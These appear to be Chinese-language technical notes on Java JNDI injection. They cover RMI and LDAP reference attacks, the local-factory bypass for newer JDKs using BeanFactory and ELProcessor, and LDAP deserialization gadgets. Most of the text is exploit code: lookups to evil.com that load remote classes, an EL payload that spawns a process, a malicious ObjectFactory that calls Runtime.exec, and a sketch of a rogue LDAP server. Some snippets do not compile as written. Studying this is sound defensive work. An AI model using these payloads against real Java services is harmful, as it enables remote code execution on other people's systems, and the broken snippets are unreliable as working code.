// 漏洞代码
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");

env.put(Context.PROVIDER_URL, userInput);  // ← 用户可控

Context ctx = new InitialContext(env);
Object obj = ctx.lookup(userInput);  // ← 触发远程加载

1. 用户构造输入使得执行lookup("rmi://evil.com:1099/Exploit")
2. `RMI Registry.lookup("Exploit")` → 返回 Stub 对象
3. 如果返回的是 Reference 对象：`Reference.getFactoryClassLocation()` → 获取工厂类地址     
4. 从远程HTTP/FTP服务器加载class文件
5. ClassLoader加载并实例化 -> 代码执行

Reference ref = new Reference(    
  "javax.el.ELProcessor",           // className: 目标工厂类    
  "javax.el.ELProcessor",           // factory: 工厂类    
  "http://evil.com:8080/"           // factoryLocation: 远程类加载地址
);

1. 受害者 lookup("ldap://evil.com:1389/Exploit")
2. LDAP Server 返回 SearchResultEntry
3. JNDI 解析 LDAP 响应中的 javaClassName / javaCodeBase / javaFactory
4. 从 javaCodeBase (远程HTTP) 加载 javaFactory 类
5. 工厂类实例化 -> 代码执行

LDAP Search Result Entry: 
  - javaClassName: javax.el.ELProcessor    (目标类) 
  - javaCodeBase:  http://evil.com:8080/   (远程类路径) 
  - javaFactory:   Exploit                 (工厂类名) 
  - objectClass:   javaNamingReference

1. lookup("ldap://evil.com/Evil")
2. LDAP返回 Reference(className, factory, factoryLocation)
3. JNDI NamingManager.getObjectInstance()
4. URLClassLoader 从 factoryLocation(远程URL)加载 factory 类
5. factory.getObjectInstance() 被调用
6. 代码执行(如 EL表达式执行 / 命令执行)

1. lookup("ldap://evil.com/Evil")
2. LDAP返回 Reference(className, factory, factoryLocation=null)
3. JNDI NamingManager.getObjectInstance()
4. 从目标本地classpath中查找 factory 类(如Tomcat自带的BeanFactory)
5. factory.getObjectInstance() 被调用
6. 代码执行(借助本地可利用的Factory链，如BeanFactory + ELProcessor)

// 普通的
ELProcessor.eval(  
  "\"\".getClass()" +
  ".forName(\"javax.script.ScriptEngineManager\")" +
  ".newInstance()" +
  ".getEngineByName(\"JavaScript\")" +
  ".eval(\"new java.lang.ProcessBuilder('cmd','/c','calc').start()\")"
);

// 反射的
// LDAP服务器端返回的Reference（高版本JDK，javaCodeBase必须为null）
Reference ref = new Reference(    
  "javax.el.ELProcessor",   // 目标类(Tomcat等自带的类)
  "javax.el.ELProcessor",   // 工厂类(必须在目标classpath中) 
  null   // factoryLocation = null，不加载远程类
);

// 利用 javax.el.ELProcessor 执行命令（通过Tomcat的EL引擎）
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")

1. lookup("ldap://evil.com/Evil")
2. LDAP返回序列化的恶意对象(如 CommonCollections Gadget)
3. JNDI 检测到 javaSerializedData 属性 -> 反序列化
4. 反序列化触发Gadget链 -> 代码执行

// LDAP服务器端代码示例
public void sendSerializedResult(LdapResult result, String dn{
  Object evilObj = generateGadgetChain(); // 如CC链、CB链等   
  result.addAttribute("javaSerializedData", serialize(evilObj)); 
  result.addAttribute("javaClassName", "Exploit");    
  // 反序列化路径：只需要 javaSerializedData + javaClassName, 不需要 javaCodeBase 和 javaFactory（这两个是Reference路径的参数）
  // result.addAttribute("javaCodeBase", "http://evil.com/");
  // result.addAttribute("javaFactory", "Exploit");
}

public class Exp implements javax.naming.spi.ObjectFactory {
  static {
    // 静态代码, 类加载时执行
    try {
      Runtime.getRuntime().exec("calc.exe");
    }catch{
      e.printStackTrace();
    }
  }

  public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
    // getObjectInstance() JDNI调用时执行
    Runtime.getRuntime().exec("calc.exe");
    return null;
  }

}